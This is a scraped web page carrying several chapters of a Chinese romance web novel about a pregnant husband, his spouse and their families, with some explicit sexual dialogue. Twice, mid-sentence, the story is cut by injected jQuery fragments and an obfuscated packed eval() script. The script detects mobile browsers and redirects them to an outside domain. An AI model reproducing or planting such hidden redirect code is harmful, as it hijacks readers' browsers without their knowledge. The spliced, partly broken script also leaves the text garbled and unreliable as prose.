$(''.inform'').remove(); $(''#content'').append('' > 可纪轻行只想得寸进尺。 纪轻行问:“你要多久?” 听起来沉稳了不少。 沈昕老实答道:“不知道。” 纪轻行看了眼表,说:“以前也就罢了,现在你怀着宝宝,不注意身体不行的,到点儿了就该吃饭。一个小时……最多一个半小时,然后咱们出去吃点儿好的,当是庆祝,好么?” 沈昕问:“庆祝什么?” 纪轻行一笑:“你说呢?” 庆祝他们两个人,以及小宝宝。 沈昕明白,便也低头笑了。 “行吧,今天先听你的。” “对了,还有一件事你考虑一下,倒不是很急,但也不好一直拖着,是王亮他老婆提醒我的,咱们的孩子,你想在这边生还是回去生?决定下来,早做准备。” 沈昕下意识问:“你觉得呢?” “听你的。”纪轻行毫不犹豫地说,“你想怎么样就怎么样,我负责给你提供智力支持。” 沈昕点头道:“好,我想一想。” 把该交代的交代完,纪轻行转身进了卧室。 没有坚持呆在他面前。 沈昕看着那家伙的背影,心中既觉得踏实,又有点复杂。 这就是两个人的生活吗? 有一个人没有的鸡飞狗跳,更有一个人没有的…… 别致趣味与热烈幸福。 - 当冬日残留的寒意彻底消弭,春天的温暖与慵懒铺满大地,从头到脚包裹住每个人的时候,沈昕的肚子变得明显了起来。 他还感受到了胎动。 即便已经发生过多次,但那样清晰活泼的生命力量,依旧每每令他和纪轻行惊喜。 令他们不由自主地描摹起小宝宝的模样。 “还是像我吧。”沈昕煞有其事地说,“像你的话,脸太长了。” 纪轻行难得吃瘪。 必须找回场子,他顽强道:“脸长就脸长,‘太’是什么意思?你客观一点儿啊。而且只要相貌足够出众,长脸不是问题,长脸有气场。” “像你这种臭不要脸的气场还是没有的好。” “沈!昕!”纪轻行严肃道,“收敛收敛,宝宝说不定能听见呢,你有点儿当爹的样子,也稍微维护一下我这个爹的尊严。” 沈昕笑了。 有纪轻行这样的爹,别的方面怎么样不好说,但日常应该会挺快乐。 就像他最近这样。 最近,他写完了连载的小说,接着就有版权方找来。 他和阿圆与对方一起商议卖出版权的细节,有商业合同方面的,也有关于小说内容的。 这个时候,他又想起了纪轻行。 纪轻行一路追着看他的作品,对这本书倾注了很多感情,却只看了一半。 他自认为后面的剧情发展和结局都不错,他真希望纪轻行也能看到。 包括现在需要进行部分修改,他也很想听听纪轻行的建议。 已经有好几次了,他想把一切都说出来,但话到嘴边,又觉得或许可以有更好的方式。 这毕竟是他俩之间的大事。 他俩之间的很多大事都发生得很突然很草率,他不想总是这样。 而且不得不承认,他还有点儿自私,很想纪轻行能自己看出端倪。 为纪轻行准备的礼物也做好了,他收藏着,没有送出。 想等一个时机,给对方最特别的体验和回忆。 “我已经跟家里人说了你怀孕的事。”饭桌上,纪轻行打断了沈昕的思绪。 沈昕回过神来,问:“他们说什么?” “当然是高兴啊。”纪轻行骄傲地说,“一天能问八百遍情况,感觉比咱俩都操心。” 沈昕考虑了一下,说:“他们没问你什么时候回去?” 纪轻行不紧不慢地笑道:“怎么都现在了,你跟我说话还要搞试探这一套?” 沈昕一愣。 他并非故意,纪轻行说出来了,他仔细一想,才发现确实。 “抱歉,我可能……习惯了。” “不,你只是还没完全融入新的关系,或者说,我仍然令你有所芥蒂,咱们俩还没能真正合二为一。” 纪轻行果然通透,确实是这样,所以他说话做事的时候会担心这样说这样做好不好,总要想一下。 那什么时候才能消除所有芥蒂,真正合二为一呢? 吃完饭,纪轻行去公司,沈昕正准备写稿,突然阿圆打电话过来。 沈昕的精神微微一紧。 两人异国,尤其纪轻行也来了香国以后,阿圆只有遇到重要紧急的事才会选择电话联系。 他便盘膝坐到沙发上,把手机放在身边,打开公放,做好了细聊的准备。 43.不遗憾 果不其然,这的确是件需要细聊的事情—— “沉老师,世纪集团放弃的那个作品,现在有其他公司提出了合作意向,意向还挺强烈的。” 沈昕一愣:“是你推的?” “不是,是他们从你上次的线上活动里知道的。他们是影视公司,体量和底蕴当然不如世纪集团,给咱们的回报肯定也不如,但胜在类似项目孵化过不少,出过几个爆款。你觉得怎么样?” 这些并不是沈昕擅长的东西,他照例说:“我想先听听你的看法。” 阿圆沉默片刻,最后叹了口气:“你真想听我的看法,那我就直说了,其实这件事的关键并不在于这家公司本身。” “什么意思?” “哎。”阿圆再度叹气,“不瞒你说,虽然不合作了,但我和世纪集团的那位何副总一直有联系,私人联系,因为挺聊得来,我觉得就算不奔着当朋友,至少也是个人脉嘛。后来越聊越熟,他就跟我透露了,其实最初提出把你挖到世纪集团的人,是纪总,后来的推进、决策,所有细节也都是纪总亲自主导,连定制作品的主题和背景都是他定的,他甚至还有具体的写作设计,原本打算等你动笔之后,需要讨论了就一起讨论,没想到……” “何副总说,这是纪总出力最多、操心最多,也让步最多的一个项目,他不明白纪总为什么会突然决定终止,他争取过,也争论过,但是无果,但他又觉得纪总心里其实也不情愿。他特别遗憾,特别希望项目能走下去,希望看到那个想了很久的结果,他知道纪总一定也很希望,大家都很希望,而我呢……也希望。” 沈昕听得心头翻江倒海:“是何副总……让你跟我说的?” “不,他只是觉得很遗憾,意难平,那毕竟是他成为副总后的第一个大项目。而且他不知道你和纪总的关系,对我们也一直充满了歉意。” “那你跟我说这些的意思是……” “想问问你,这件事真地没有转圜的余地了么?沉老师,我接下来要说的话可能显得立场不对,但却是我的真心话,不从编辑的角度,而是从你朋友的角度。的确,以你的实力和名气,换个合作方,获得大差不差的收益并非难事,相应的,这对于世纪集团来说也一样,但考虑到初心、付出,和情义,纪总胜出太多了。我不知道你们当初究竟发生了什么,但最近不是已经好起来了么?既然如此,肥水为什么还要流进外人田?而且容我再唐突一句,这件事也算是你的心结吧?如果不能很好地解决,它会始终亘在你和纪总之间。” 沈昕再一怔。 阿圆说得很对。 他就是沉心这件事是他与纪轻行的遗留问题,一旦挑明,后续会怎样他非常茫然,或许有可能引出无穷无尽的、难以预料的新事端。 他害怕那些事端。 不想承受,就只能让纪轻行承受。 这……是不对的。 他答应阿圆好好考虑。 当天晚上。 “纪轻行,我跟你说件事,你别再糊弄,好好商量好好解决可以吗?” 纪轻行一愣:“什么事啊这么严肃,专门吃完了饭说,是担心提前说了我会连饭都吃不下去么?搞得我有点怕怕诶,不会又要跟我离婚吧?” 沈昕:…… 看似语气轻松半开玩笑,实则真地很怕。 说明他是真地很喜欢自己。 沈昕内心的愧疚更多了一点。 他便尽量表达得柔和:“没这么严重,就是……我听说有其他公司想跟沉心合作,推那个历史题材的定制作品,据我所知,那原本是你的项目吧?” 纪轻行的表情肉眼可见地紧张了:“你怎么知道这些的?”说完很快恍然大悟,“哦,你们写手有自己的八卦圈子。” 沈昕:………… 很好,不仅善于胡乱脑补,还能自动补全bug,让他想了一下午的理由都白想了。 他不说话,纪轻行当他默认,继续说:“定制作品的初期构想的确是我们给的,但那只是一个很泛的背景和主题,作品版权在沉心自己手里,终止合作的时候也谈清楚了,他写也好,不写也好,找别人合作也好,都与我们无关。” “那你不觉得遗憾吗?” 纪轻行摊了下手。 意思很明显。 他遗憾,同时也认下了这份遗憾。 沈昕的手缓缓攥住裤子,他不想让纪轻行就这样认。 “你们可以继续合作。”他声音不大,也几乎没有情绪。 纪轻行歪头看着他,一脸疑惑:“为什么突然说这个?” “我不想让你有遗憾。”沈昕直言,“我知道,这件事你费了许多心血,我相信你一定能比别人做得好,好很多。你总担心我在意,可是我……不是那样的,我不知道究竟要怎么说你才能明白,总之我现在真地没有多心没有怀疑没有吃醋没有别扭。我不在意,真地不在意,我唯一在意的……只是你。” 纪轻行的双眼顿时睁大。 不淡定的表情在脸上蔓延,渗入内心,搅乱了他的五脏六腑。 “昕昕,你、你为什么……” “还能是为什么。” 虽然有疑问词,但语气分明是在陈述,陈述一个无可置疑的事实。 沈昕的脸和耳朵都红了,他别开视线,伸手摸上自己凸出的小腹,任由那一点点羞耻心肆意滋长,爬过四肢百骸,让声音都颤抖了。 “当然是因为你是我老公,是我孩子的爸爸。” 纪轻行整天“你老公我”“你老公我”,自说自话了大半年,终于到今天,收到了确定的回应。 当然开心死了。 这种心情一旦达到出其不意、前所未有的程度,行动上的反应便是滞后的。 他愣在那里,震惊、感受、思索、回味,澎湃的冲动泛上心头,他用力地吞咽,走过去把沈昕搂在怀里,又觉得只是搂远远不够,便翻身将人压倒在沙发上。 “如果不是有宝宝,我现在就要跟你大战三百回合。” “我要操哭你,天天都要,时时刻刻都要,让你合不拢腿,走不了路……” “好烦,为什么要有宝宝,我不想当爸爸了,只想当你老公。” 他说的话又狠又下流,却又极尽深情与温柔。 温柔得连眼圈都红了。 沈昕无奈地笑,说:“再等五个月就行了。” “不行。”纪轻行非常认真,“生完以后你要好好休养,等身体完全恢复,至少也得八个月吧,我急死了,昕昕,我急死了,你为什么不是我一个人的?” “我是你一个人的,你也是我一个人的,上次就说过,只要我们有这样的状态,不管有没有孩子,我们永远是二人世界。” “什么状态?这种状态吗?”纪轻行贴上来,亦感受到了沈昕的变化,“你也想要我对不对?昕昕,你想要我,我好开心。” …… 再度平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832994|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静说话的时候,已经是一个多小时以后了。 纪轻行用毯子裹住沈昕,把人抱到床上,从身后环住他,笑问道:“就算不进去也可以很爽,我说的没错吧?” 沈昕红着脸道:“本来跟你说正事呢,结果你……烦死了。” “正事说完了啊。”纪轻行理直气壮,“你的意思我明白了,我照做就是。不过能做成什么样不好说,毕竟当初是我单方面终止合作,万一对方很有气性,多半不会吃回头草,我尽力吧。” 沈昕鼓了鼓腮帮子,心想至少现在的他是没气性了。 被纪轻行弄的。 “而且我也不是只把你想成小心眼。”纪轻行又说,“我是换位思考,如果你有一个很崇拜的人,恰恰又认识,又经常聊天,甚至引为知己,那我绝对不能接受,所以我对你也是同一标准。今天你让我很感动,你比我高尚,比我大度,我听你的,项目的事可以追回,因为那是公事,涉及的人也多,但至于聊天那种私下的,我依旧不会做。我不是向你保证,而是给自己定规则。” “那你还会看他的书吗?” 纪轻行想了想,问:“你希望我怎么样?” 沈昕一时没说话。 纪轻行懂他内心的复杂,道:“不着急,不用现在就回答,我也不需要现在就做决定,慢慢来,慢慢地或许就清楚分明了。” 沈昕点头“嗯”了一声。 “但有件事不能再慢了。” 纪轻行的手掌来到沈昕的肚子上缓缓抚摸。 没错,这件事的确不能再拖。 沈昕把手搭在纪轻行手背上,说:“我想让你先猜猜我的想法。” “好啊。”纪轻行轻松道,“我猜你想回去,只是一想到你爸和梁瑛,又觉得别扭,不愿面对,所以一直犹豫。” 沈昕的手指扣住纪轻行的手指,嘴唇抿起。 他说对了。 自己的确就是这样想的。 “你有什么建议吗?”沈昕认真地问。 纪轻行爽快地答:“我建议你想怎么做就怎么做,所谓障碍,不过都是自己强加的。而且你其实可以不面对他们啊,非要面对,你也不是一个人。一直没顾上告诉你,我跟你爸最后谈定的出资条件,有一部分是关于你的。” “什么?”沈昕意外了。 “给你酒店副总裁的职位,以后集团如果上市,股权方面,我和你也要占大头。” “那如果我爸、梁叔叔和以后童童的股份加起来更多……” “只要你进驻酒店进行实际管理,他们就再也不会有这种机会。” “可是我又不会做生意。” “但你有你老公我啊。”纪轻行笑了,“时刻准备着为你冲锋陷阵。” 沈昕不说话了。 纪轻行便又说:“你也无需反思我们这么做是否过分,你家的酒店之所以会遭遇这些,首先是因为你爸和梁瑛本身的管理和决策出现了大问题,商场如战场,对于他们来说,今天的结果比起当初的收购已经好了太多。以后,如果他们踏实,那就一家人一起开开心心做生意,如果他们还不肯安分,还有别的算计,我筹谋的这些才会起作用。” 沈昕明白了。 无论是酒店的生意还是他个人的写作,纪轻行都做足了万全的准备,而他要做的,只是多一些勇气罢了。 他决定了。 他握住纪轻行的手,说:“我明白了,我们回去吧。” 44.见家长 有了家庭的羁绊,沈昕无法再像往日那样说走就走,打定了回国的主意,他们还得做一系列准备。 首先是安排世纪集团香国公司的近期事宜。 纪轻行的父母说了,要看着孙辈出生,享享天伦之乐,短时间内不回香国,纪轻行就得在离开前做出这边至少一年的规划。 沈昕下一次产检的时间不远,便也先在香国做完,同时联系国内的医院。 桩桩件件都搞定,真正踏上归途,重新站在他们的婚房里,已经是一个月之后了。 “怀念吗?”纪轻行笑着问。 沈昕摇了摇头,说:“其实我有点儿没想到。” “没想到你就这样拜倒在你老公我的西装裤下了是吗?” 确实。 但沈昕不会就这样承认,换了话题道:“累了,我洗个澡睡一会儿。” “我帮你。”纪轻行跟上去,“你肚子大了,一个人洗澡不方便。” 沈昕顺势低头看,心想其实没多大,在六个多月的正常范围内,加上他本来就瘦,穿上修饰身材的宽松衣服,不仔细看甚至都发现不了。 纪轻行不过是假公济私。 但他现在的确身懒,有人愿意出力也不错。 “那你不许搞多余的。”沈昕认真地说。 “呦。”纪轻行邪邪笑起来,“什么是多余的啊?” 沈昕才不跳入他的陷阱,说:“你心里清楚,总之你安分点儿,坐了那么久的飞机,我真累了,要不是嫌脏,我现在立刻就躺下睡。所以你但凡敢胡来,咱俩就分房,我说到做到。” “嗐,又防贼一样防着我,你老公我是那种人嘛?” 话说到这个地步,纪轻行自然乖巧。 单单纯纯地帮沈昕洗澡、擦干、吹头发,还没出浴室,沈昕就靠着他合上了眼睛。 纪轻行拿干浴巾把人一裹,抱着去卧室。 放在床上盖好被子,他轻轻地摸那柔软的头发和带着红晕的面颊,低声说:“辛苦了,好好睡一觉吧。” 转身站在床边,伸了个大大的懒腰,眼中唇角全是笑。 此时此刻,他好幸福啊。 倒过时差缓过疲惫,沈昕便不能继续宅了。 纪轻行家是一定要回的,而在回那之前,还得先解决他家的遗留问题。 上次见面要追溯到梁瑛做引产那天,沈知易打了他一巴掌,那件事横亘在他心里,或许永远都无法消去,但现在他回来了,没有彻底决裂,就至少得在表面上揭过去。 其间联络都由纪轻行负责,他怀孕的事自然得说。 回家吃饭那天,沈知易满面堆笑,倒是真心为他和纪轻行有了孩子而高兴,童童也很高兴,唯独梁瑛全程几乎没说话。 半年多过去,他的身体算是好了,可高龄怀孕、保胎又引产,加上剧烈的情绪波动,他肉眼可见地憔悴了许多。 饭桌上除了闲聊,还确定了等沈昕生完孩子就去酒店任职的事,饭后沈知易让他俩留下住,沈昕拒绝了。 回家路上,纪轻行开车,沈昕坐在副驾,默默地看着窗外的夜色。 纪轻行便问:“怎么了,不开心?” 沈昕摇摇头:“只是突然觉得咱们今天或许不该来。且不提是非对错,今天看到梁叔叔,我能感觉到他……非常非常难过,惨淡的愁云笼罩着他,别人都过去了,唯独他还在那时。而且从他的角度看,他失去了孩子,我却怀孕了,就这样出现在他面前,他……” 纪轻行伸手,摸了摸沈昕的头:“不要苛责自己。解决不了的事情和心情就交给时间,就算是绝境,或许也会在某一天出现意想不到的转机。” “嗯。” 这不正是曾经他和“沉老师的狗”聊天的样子吗? 为他解惑,动不动就说些令他觉得很有道理,大呼通透的话语。 他靠在车窗上静静观察。 如今,纪轻行和“沉老师的狗”重合了许多,尚有少许错位,不知何时,不知要靠什么样的契机才能完全对上。 这时纪轻行说:“你老公我帅归帅,但一直盯着看,人家会不好意思的。” 沈昕无奈道:“太阳从西边出来,你也不会不好意思。” 纪轻行幽幽叹气:“老实说,我还挺想住你家的,主要是想住你从小到大住的卧室。以前那么多年,一直是一个人睡,可现在睡在那儿的加上了老公和即将出生的宝宝,你不觉得这种体验很奇妙吗?当然,我知道你不想留宿,也无所谓,我就随便想想。” 相处久了就会发现,纪轻行比他更主动地渴望着亲密之情,也比他更追求仪式感。 沈昕便道:“在我家做不到的,就在你家做到吧。” 纪轻行一愣,反应过来以后,长长地、充满幸福感地“嚯”了一声。 - 订婚那天沈昕就见过了纪轻行的爷爷和父母,但那天席上主要是长辈们说话,而且那时候他以为和纪轻行是普通的商业联姻,心态上非常平和,行为上便自然而然地不亢不卑。 此一时彼一时,如今的他什么都知道,家里发生了那么多事,和纪轻行积攒了那么多复杂的过往,再次面对纪家的长辈,他不免紧张。 “放轻松,他们一点儿也没有因为我去香国找你而不满。”纪轻行说,“相反,听说咱俩的矛盾解决了,感情好了,还有了孩子,他们且高兴得晕头转向呢。” “哦。”沈昕深呼吸了一下。 纪轻行的话他相信,只是…… “也别觉得抬不起头。”纪轻行又说,“当初虽说的确是有原因,但你应该明白,不是只有这个原因就能跟我结婚。” 沈昕一怔。 纪轻行笑了:“该说不说,我爷爷和我爸爸妈妈比我更早看到你的照片和简介,要不是他们推动,我可能连第一步都不会迈出去。而且我觉得,他们私下一定没少为我物色结婚对象,但除了你,没有任何一个人被摆在我面前过,这足以说明你是独一无二的。” 沈昕却郁闷地说:“简介?面试吗?” “你不也面试过我吗?我知道,我们的相遇并不浪漫,反而略显不堪,但无论如何,我感谢这样的不堪,因为它至少让我们相遇了。所以别在意这个了好么?总而言之,我和我的家人想法非常统一,无论结婚的缘由是什么,只要结了婚,那些就不再重要,只要结了婚,我们就是亲人。” 这倒是。 结婚以后除了口嗨,纪轻行从未把他放在过不平等的位置。 更何况那也不是真正的相遇,他们真正的相遇,其实非常非常浪漫。 进了纪家大门,扑面而来的隆重气氛证实了纪轻行的话。 里里外外专门收拾过,许多摆设一看就是新换的,从主人到住家的工作人员都穿得非常正式,弄得沈昕立刻转入了另一种紧张。 “你怎么不提前说?”他向纪轻行使眼色,“早知道我也该打扮一下。” “冤枉,我完全不知情,给我也吓一跳。”纪轻行哭笑不得,“爷爷,老爸老妈,你们怎么回事?迎接国家元首呢?太见外了吧。” 妙语连珠,一下便活跃了气氛。 他妈妈伸手拍他,嗔怪道:“怎么说话呢?让阿昕看笑话。” “嗐。”纪轻行无所谓,“我的笑话他不知道看过多少了,不在乎这一次。” 沈昕低头忍笑。 纪老爷子道:“的确,你和阿昕亲得不能再亲,熟得不能再熟,怎么随意都可以,但对我们来说,阿昕第一次上门,可是比迎接国家元首还要大的事情,无论多隆重都是应该的。” 纪轻行意味深长地看着沈昕笑。 沈昕连忙躬身,礼貌而诚恳地说:“谢谢爷爷和……爸爸妈妈这么看重我,我实在受宠若惊。之前因为有各种各样的事情,一直没能来看望你们,你们却始终包容,我很惭愧,我……” “嗨呀,一家人不要说两家话,何况说起任性,阿行比你任性多了,跟他一比,阿昕你就是这个世界上最乖的孩子。”纪轻行的妈妈牵起沈昕的手,“再不许客套了啊,来来来,坐下,咱们先聊会儿天,等下吃好吃的。你跟阿行在香国呆了小半年,别的不说,吃的方面肯定不能称心如意,电话里他总跟我抱怨。要我说他是无所谓,就是苦了你跟肚子里的小家伙。最近感觉怎么样?六个多月了,比以前累不少吧?” 几人坐在客厅聊,沈昕自然是焦点,话题偶尔拐到纪轻行身上,不是说他小时候有多调皮,就是警告他要照顾好沈昕,否则提头来见。 “提头来见”是原话。 这样的话说多了,沈昕便发觉,从前以为他家里的氛围好,如今比过才知道,他家里看似好,其实不过是疏离的和谐,像是在公共场合穿着西装的微笑。而纪轻行家里毫不刻意、随随便便,像穿着居家服窝在床上的,才是真的好。 再说纪轻行。 如果其他人这样被长辈掀老底、提要求,肯定会不高兴,就算不当场发作,言语表情间也多少会显露不快或抗拒。 但纪轻行没有。 不仅没有,反而还挺…… 乐在其中。 嬉皮笑脸插科打诨就没停过,好像给自己听到了这些,他还挺骄傲? 中午吃完饭,纪老爷子按习惯喝淡茶,大伙儿相陪。 沈昕在,纪老爷子兴致好,给他讲茶道。沈昕认真地听,认真地发问,偶尔说说见解。纪老爷子更高兴了,连连夸赞他比沉不下心的纪轻行好太多。 沈昕含笑道:“每个人的兴趣点不一样,纪轻行在某些方面其实……特别沉心呢。” “哦?”纪老爷子不解其意,好奇地看向纪轻行,“是吗?” “当然不是。”纪轻行一脸无奈,“我不沉心,一点儿也不沉心,哪里都不沉心,这辈子、完全、绝对不沉心,下辈子,甚至再过十辈子也不沉心。” 纪老爷子:? 沈昕小声嘟囔:“那干嘛还要叫那么多遍。” 纪轻行幽幽道:“要不然怎么证明我问心无愧呢。” 纪老爷子一愣,接着笑了。 他虽然听不懂,但也明白自己恐怕是成为了小夫夫play的一环,简直岂有此理,便看似轻飘飘,实则一针见血地回击道:“对了阿昕,你平时就一直叫阿行大名吗?夫夫俩,应该有个亲密的称呼才对啊。” 拉起沈昕和纪轻行的手,交叠在一起拍了拍。 沈昕与纪轻行随之对视,劈里啪啦地火光交锋。 下午,纪老爷子要休息,纪轻行的妈妈想逛店,沈昕和纪轻行一起去,在外面吃过晚饭才回来。 洗完澡还不到十点,穿着睡袍靠在床头,身上轻松,心里也轻松,周围温馨静谧,实在惬意极了。 沈昕说:“下午在商场,我本来想挑个茶具送给爷爷,又一想,爷爷是行家,一定有很多收藏,随便挑来的东西他多半不会喜欢,可是如果不投其所好,送别的显得敷衍。包括你爸爸妈妈,我也不知道他们喜欢什么,去问吧,又刻意。” “难怪你逛个街还一脸认真的样子。”纪轻行侧躺在旁边,一臂支着脑袋,正是沈昕曾经说过的油腻姿势,“你想太多了,送礼物,心意到了就行。比如想送茶道方面的,在商场买,即便不是珍品,但你考虑到了爷爷的兴趣,他就会高兴。真觉得买的不好,就自己做,现在不是有很多那样的场所吗?如果还觉得不好,就找专业的地方定制。又比如茶道之外,更可以放心大胆地送,爷爷思想很先进,我爸妈也是,总之绝不会出现你担心的情况。” 有道理。 沈昕点点头:“那我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14850369|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再考虑考虑,你帮我跟他们说说,我不是不懂礼貌,只是还没想好。” 纪轻行笑了:“你们怪像的,他们也让我跟你说说呢。” 沈昕一愣:“什么?” “其实他们也准备了礼物,没有立刻拿出来,是害怕你觉得他们是因为你怀孕了才送的。虽说的确是送给你和宝宝两个人的,可又并非那种意思,你一定明白吧?但他们瞻前顾后,说这是你结婚以后第一次回家,千万不能搞砸,所以……嗐,我真是服了,要不要这么曲里拐弯的。” 又愣了片刻,沈昕笑了。 很轻松很释怀的笑。 “辛苦你了。大约确实是因为第一次正式回家,除了你,我们无论表现得多么自然,心里总还是会忐忑,估计再过几天就好了。” “嗯,我也觉得,不是回来一下就走,而是留下住几天,真是非常正确的决定。” 静了一会儿,沈昕说:“纪轻行,宝宝动了。” “哦?”纪轻行凑过去,看着沈昕肚子上被撑起来的蓝色睡袍,来了兴致,伸手去摸,又说,“隔着衣服也摸不出正经的。” 抬手就要解衣带。 沈昕立刻按住他的爪子:“只许摸宝宝,否则你就睡地上。” “嗐,又是这话,一点新鲜感都没有。” 沈昕一皱眉:“什么?” 纪轻行立刻服软:“知道啦知道啦,都听你的还不行吗?快给我摸吧,等下宝宝不动了。” 沈昕松了手,睡袍解开,纪轻行乐了。 “我说你紧张个什么劲儿呢。” 除了睡袍什么都没穿,沈昕微微脸红,解释道:“我是觉得月份开始大了,能少穿的时候就少穿,我和宝宝都舒服。” “明白。” 和小家伙互动了一会儿,沈昕的肚子消停下来,纪轻行把睡袍搭上去,依依不舍地说:“有点儿不想系上,怎么办?” 沈昕冷着脸别开视线。 纪轻行笑着提要求:“亲一会儿可以么?” 沈昕坚决摇头。 纪轻行退而求其次:“那抱一会儿?” 沈昕继续摇头。 “为什么啊?”纪轻行委委屈屈。 “因为一但开始,大概率就控制不住了。” “控制不住就控制不住呗。” “可现在是在你家。” “哎呦,你肚子都这么大了,搞得好像他们不知道咱俩干过什么似的。” “知道归知道,当场归当场,不一样。” “隔音好着呢,听不见的。” “但是会把床上弄得乱七八糟,来收拾的人看到,多丢脸。” “你想象力好丰富啊。” 沈昕心说没错,否则怎么当小说家。 纪轻行伤感地叹了口气,退到一边孤独地躺着,幽幽地说:“怎么一次就怀上了呢?咱俩也太厉害了。如果一直都怀不上就好了,那样就能日日做夜夜做时时刻刻做……” 沈昕冷笑:“真那样你就会怀疑自己了。” 纪轻行没说话。 好半天都没说话。 沈昕心里就有些打鼓。 “你……生气了?”他想了想,认真地说,“我觉得这没什么好生气的吧,且不说现在是不是在你家,哪怕没有前提,我也不是一定得接受你的求欢吧?过性生活是婚姻之内的义务,拒绝性生活也一样是。” “我说我生气了?”纪轻行一脸无奈,“你的确是想象力丰富,不过呢,我也的确是有点儿郁闷,需要老婆哄哄才能好。” 沈昕:…… “我不是你……” “需要丈夫哄哄才能好。”纪轻行死皮赖脸地改口。 沈昕不说话。 纪轻行便情绪饱满地“啊”了一声,哀怨道:“这回我真地生气了,丈夫好冷漠,不止不哄我,连叫我都叫得那么疏远、见外,纪总纪总,纪轻行纪轻行,太冷冰冰了!啊,我好难过!我难过死了!我难过得肝肠寸断!我不活了!” 沈昕:………… 他一拉被子蒙住自己,背对那个神经病,只当听不见也看不见。 心中却想,原来那家伙真地这么在意称呼。 第二天,纪轻行去上班。 在香国呆了小半年,回来以后优先处理家事,现在也该去上班了。 走之前,他千解释万保证,因为今天要跟沉心工作室的负责人谈重新合作的事。 沈昕早从阿圆那里知道了,看着纪轻行小心翼翼的样子,实在又好笑又…… 愧疚。 白天,他和纪轻行的家人过得非常融洽,午饭后大家各去休息,他没有午睡的习惯,百无聊赖地坐在客厅,家里的阿姨贴心地问:“沈少想出去转转吗?我叫人安排车。” “不了。”他笑着说,“我……看会儿书吧。” “那我带您去少爷的书房,那里书特别多。” “好啊。” 跟着阿姨上了三楼,阿姨把门打开便走了,沈昕推门进去,径直走向书架。 午后的阳光从窗户洒进来,洒在书架上,仿佛洒下了一层温柔而神圣的纱。 所以他一时没看清。 稍微拉上窗帘,书房里一半明一半暗。 再走近,这回能看清了。 然后他愣了。 仿佛有数股冷冽的泉水从四肢涌入,令他禁不住发抖,最后,泉水汇集在心头,被内心深处的烈火一烧,瞬间沸腾,又令他战栗。 疯狂战栗。 他向前扶住书架,另一只手托住隆起的腹底,手指微微用力。 纪轻行不在,他无法触碰他,便只能触碰这些。 肚子里面的,还有眼前的,便是勾连两人身体与灵魂的最深、最深的联系。 45.一路而来的追逐 纪轻行的书架上有整整两层全是他的书。 从他写的第一本开始,直到最近一次出版,不同时期不同出版社不同封面不同印刷规格不同福利内容,但凡他出过的实体这里都有,每一种都是两套。 不用问也知道其中的含义:一套用来看,一套用来收藏。 而且正像纪轻行之前说过的那样,除了网络平台的小说,这里还有他曾经出过的散文集,发表过文章的期刊、杂志和登载过访问稿的平台刊物。 有些连他自己都没留存,纪轻行却一个都不放过,按照时间排序,从第一本数起,一点一点地来到不久之前,是他用文字写下的过往岁月,也是冥冥之中…… 纪轻行一路而来的追逐。 沈昕伸手抚摸书脊。 随意抽出一本,打开,里面放着书签,收藏的那本没有,另一本书里则又有。 不断抽取,毫无例外都是这样。 平时的纪轻行的确吊儿郎当。 因为那家伙更有着太多太多极其深邃的认真之处,总要想办法中和。 沈昕的眼睛湿润了,晶莹之中满是感慨笑意。 不能再瞒着他。 他要告诉他自己就是沉心,是陪伴了他这么多年,让他在乎了这么多年的人。 用最特别的方式。 沈昕最后没有看书。 他坐在纪轻行的书桌边,双臂撑着桌面枕下去,漂亮的眼睛缓而认真地眨。 此时此刻,他要静静感受或许这一辈子也不会再有的独特时光与体验。 是纪轻行给予他的。 许久后,阿圆打来电话。 一个仿佛上天听到了他的心声,特意送来的电话。 “沉老师,我这边谈好了,和世纪集团的合作继续。” “嗯。”沈昕语带笑意。 “近期比较重要的事情,一是约时间聊一下定制作品目前的成稿,如果你不想出面,可以交给我或者通过文字聊。再就是你刚完结的那本书,世纪集团想以它为核心做个活动,最好是线下签售,你不愿意的话,就换别的形式。” 沈昕笑开了一点。 他知道阿圆和纪轻行在担心什么。 如今无需再担心。 “我已经回国了,线下签售没问题。”他轻松地说,“定制作品也是一样,无论跟谁聊、怎么聊都可以。” - 临近六月,天气热了起来。 周末,沈昕来到自家酒店在市中心的旗舰店,坐在大宴会厅外休息区的沙发上,一边玩手机一边喝果汁,一边等纪轻行。 周围熙熙攘攘,大多是年轻人,也有少数青少年和中年人。 他们有的进入宴会厅,有的站在厅门两侧布置开去的宣传物料前,还有的聚在一起聊天—— “这本的结局我好喜欢啊,反反复复看,现在都快背过了!” “我也我也!真地超级喜欢!我昨天晚上在酒店睡不着,就一直在看!” “啊你是外地来的吗?” “对啊,我看到宣传的时候已经有点儿晚了,立刻定机酒,还好赶上了!啊,好想要一个to签,写结尾那句话,不知道行不行。” “人太多了,估计不行吧。” “也是,好遗憾啊。不过能见到老师本人已经很好了,完全没想过会有这一天!” “就是就是!” “沉老师今天会露脸吗?还是会戴口罩?” “不知道哇,反正听说沉老师超帅的!” “咱们进去吧,看看里面的情况,听说除了分区排队还有小活动可以参加。” …… 沈昕扭头看向她们的背影。 得益于以往的低调,没有人知道他的长相,他尽可以光明正大地坐在这里而不引起任何骚动。 四处望去,曾经这里是承接高端宴席的地方,现在撤去了中餐大圆桌和所有软装,改成了以天空、云层、大海为主要元素,格调优雅浪漫的会场。 这是他家酒店被纪轻行介入后的第一次大型活动。 